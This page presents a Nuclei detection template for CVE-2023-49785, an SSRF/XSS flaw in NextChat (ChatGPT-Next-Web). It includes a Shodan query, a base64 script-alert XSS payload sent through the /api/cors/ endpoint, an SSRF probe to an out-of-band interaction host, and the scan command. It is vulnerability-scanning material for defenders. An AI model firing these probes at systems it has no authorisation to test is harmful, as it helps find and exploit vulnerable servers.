ChatGPT-Next-Web - SSRF/XSS

ID: CVE-2023-49785

Severity: critical

Author: high

Tags: cve,cve2023,ssrf,xss,chatgpt,nextchat

Description

Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web

YAML Source

id: CVE-2023-49785

info:
  name: ChatGPT-Next-Web - SSRF/XSS
  author: high
  severity: critical
  description: |
    Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
  remediation: |
    Do not expose to the Internet
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/
    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-49785
    cwe-id: CWE-79
    epss-score: 0.00049
    epss-percentile: 0.17861
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:NextChat,\"ChatGPT Next Web\""
  tags: cve,cve2023,ssrf,xss,chatgpt,nextchat

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
      - "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "<script>alert(document.domain)</script>")
          - contains(header_1, "text/html")
        condition: and

      - type: dsl
        dsl:
          - contains(header_2,'X-Interactsh-Version')
          - contains(interactsh_protocol_2,'dns')
        condition: and
# digest: 4a0a0047304502201181295309108be09c1c8fc72b88ba1af64fb6c12a7589bca81000db6b3fabca0221009cafdc8db527c90c3925bceb03e0c741f6d137a2c059467e285a992e18933539:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-49785.yaml"

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